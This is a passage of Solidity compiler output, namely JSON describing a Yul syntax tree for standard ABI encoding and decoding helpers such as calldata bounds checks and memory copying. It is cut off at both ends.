"nodeType": "YulIdentifier", | |
"src": "3166:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3177:2:1", | |
"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3162:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3162:18:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "3149:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3149:32:1" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "3139:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "3228:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db", | |
"nodeType": "YulIdentifier", | |
"src": "3230:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3230:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "3230:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "3200:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3208:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "3197:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3197:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "3194:117:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "3325:98:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "3395:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "3406:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3391:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3391:22:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "3415:7:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_array$_t_uint256_$dyn_calldata_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "3343:47:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3343:80:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value2", | |
"nodeType": "YulIdentifier", | |
"src": "3325:6:1" | |
}, | |
{ | |
"name": "value3", | |
"nodeType": "YulIdentifier", | |
"src": "3333:6:1" | |
} | |
] | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "3443:303:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "3458:46:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "3489:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3500:2:1", | |
"type": "", | |
"value": "96" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3485:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3485:18:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "3472:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3472:32:1" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "3462:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "3551:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db", | |
"nodeType": "YulIdentifier", | |
"src": "3553:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3553:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "3553:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "3523:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "3531:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "3520:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3520:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "3517:117:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "3648:88:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "3708:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "3719:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "3704:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3704:22:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "3728:7:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_struct$_MyStruct_$8_calldata_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "3658:45:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3658:78:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value4", | |
"nodeType": "YulIdentifier", | |
"src": "3648:6:1" | |
} | |
] | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_tuple_t_uint256t_addresst_array$_t_uint256_$dyn_calldata_ptrt_struct$_MyStruct_$8_calldata_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "2663:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulTypedName", | |
"src": "2674:7:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "2686:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value1", | |
"nodeType": "YulTypedName", | |
"src": "2694:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value2", | |
"nodeType": "YulTypedName", | |
"src": "2702:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value3", | |
"nodeType": "YulTypedName", | |
"src": "2710:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value4", | |
"nodeType": "YulTypedName", | |
"src": "2718:6:1", | |
"type": "" | |
} | |
], | |
"src": "2548:1205:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "3817:40:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "3828:22:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "3844:5:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "3838:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3838:12:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "3828:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_length_t_bytes_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "3800:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "3810:6:1", | |
"type": "" | |
} | |
], | |
"src": "3759:98:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "3958:73:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "3975:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "3980:6:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "3968:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "3968:19:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "3968:19:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "3996:29:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "4015:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "4020:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "4011:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4011:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "updated_pos", | |
"nodeType": "YulIdentifier", | |
"src": "3996:11:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "3930:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "3935:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "updated_pos", | |
"nodeType": "YulTypedName", | |
"src": "3946:11:1", | |
"type": "" | |
} | |
], | |
"src": "3863:168:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "4099:184:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "4109:10:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "4118:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "i", | |
"nodeType": "YulTypedName", | |
"src": "4113:1:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "4178:63:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "4203:3:1" | |
}, | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "4208:1:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "4199:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4199:11:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "4222:3:1" | |
}, | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "4227:1:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "4218:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4218:11:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "4212:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4212:18:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "4192:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4192:39:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "4192:39:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "4139:1:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "4142:6:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "4136:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4136:13:1" | |
}, | |
"nodeType": "YulForLoop", | |
"post": { | |
"nodeType": "YulBlock", | |
"src": "4150:19:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "4152:15:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "4161:1:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "4164:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "4157:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4157:10:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "4152:1:1" | |
} | |
] | |
} | |
] | |
}, | |
"pre": { | |
"nodeType": "YulBlock", | |
"src": "4132:3:1", | |
"statements": [] | |
}, | |
"src": "4128:113:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "4261:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "4266:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "4257:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4257:16:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "4275:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "4250:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4250:27:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "4250:27:1" | |
} | |
] | |
}, | |
"name": "copy_memory_to_memory_with_cleanup", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "src", | |
"nodeType": "YulTypedName", | |
"src": "4081:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "dst", | |
"nodeType": "YulTypedName", | |
"src": "4086:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "4091:6:1", | |
"type": "" | |
} | |
], | |
"src": "4037:246:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "4337:54:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "4347:38:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "4365:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "4372:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "4361:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4361:14:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "4381:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "not", | |
"nodeType": "YulIdentifier", | |
"src": "4377:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4377:7:1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "4357:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4357:28:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "result", | |
"nodeType": "YulIdentifier", | |
"src": "4347:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "round_up_to_mul_of_32", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "4320:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "result", | |
"nodeType": "YulTypedName", | |
"src": "4330:6:1", | |
"type": "" | |
} | |
], | |
"src": "4289:102:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "4487:283:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "4497:52:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "4543:5:1" | |
} | |
], | |
"functionName": { | |
"name": "array_length_t_bytes_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "4511:31:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4511:38:1" | |
}, | |
"variables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "4501:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "4558:77:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "4623:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "4628:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "4565:57:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4565:70:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "4558:3:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "4683:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "4690:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "4679:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4679:16:1" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "4697:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "4702:6:1" | |
} | |
], | |
"functionName": { | |
"name": "copy_memory_to_memory_with_cleanup", | |
"nodeType": "YulIdentifier", | |
"src": "4644:34:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4644:65:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "4644:65:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "4718:46:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "4729:3:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "4756:6:1" | |
} | |
], | |
"functionName": { | |
"name": "round_up_to_mul_of_32", | |
"nodeType": "YulIdentifier", | |
"src": "4734:21:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4734:29:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "4725:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4725:39:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "4718:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "4468:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "4475:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "4483:3:1", | |
"type": "" | |
} | |
], | |
"src": "4397:373:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "4892:193:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "4902:26:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "4914:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "4925:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "4910:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4910:18:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "4902:4:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "4949:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "4960:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "4945:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4945:17:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "4968:4:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "4974:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "4964:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4964:20:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "4938:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "4938:47:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "4938:47:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "4994:84:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "5064:6:1" | |
}, | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "5073:4:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "5002:61:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5002:76:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "4994:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_tuple_t_bytes_memory_ptr__to_t_bytes_memory_ptr__fromStack_reversed", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "4864:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "4876:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulTypedName", | |
"src": "4887:4:1", | |
"type": "" | |
} | |
], | |
"src": "4776:309:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "5178:478:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "5227:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d", | |
"nodeType": "YulIdentifier", | |
"src": "5229:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5229:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "5229:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "5206:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "5214:4:1", | |
"type": "", | |
"value": "0x1f" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "5202:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5202:17:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "5221:3:1" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "5198:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5198:27:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "5191:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5191:35:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "5188:122:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "5319:30:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "5342:6:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "5329:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5329:20:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "5319:6:1" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "5392:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_15abf5612cd996bc235ba1e55a4a30ac60e6bb601ff7ba4ad3f179b6be8d0490", | |
"nodeType": "YulIdentifier", | |
"src": "5394:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5394:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "5394:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "5364:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "5372:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "5361:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5361:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "5358:117:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "5484:29:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "5500:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "5508:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "5496:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5496:17:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "arrayPos", | |
"nodeType": "YulIdentifier", | |
"src": "5484:8:1" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "5567:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef", | |
"nodeType": "YulIdentifier", | |
"src": "5569:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5569:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "5569:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "arrayPos", | |
"nodeType": "YulIdentifier", | |
"src": "5532:8:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "5546:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "5554:4:1", | |
"type": "", | |
"value": "0x01" | |
} | |
], | |
"functionName": { | |
"name": "mul", | |
"nodeType": "YulIdentifier", | |
"src": "5542:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5542:17:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "5528:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5528:32:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "5562:3:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "5525:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "5525:41:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "5522:128:1" | |
} | |
] | |
}, | |
"name": "abi_decode_t_bytes_calldata_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
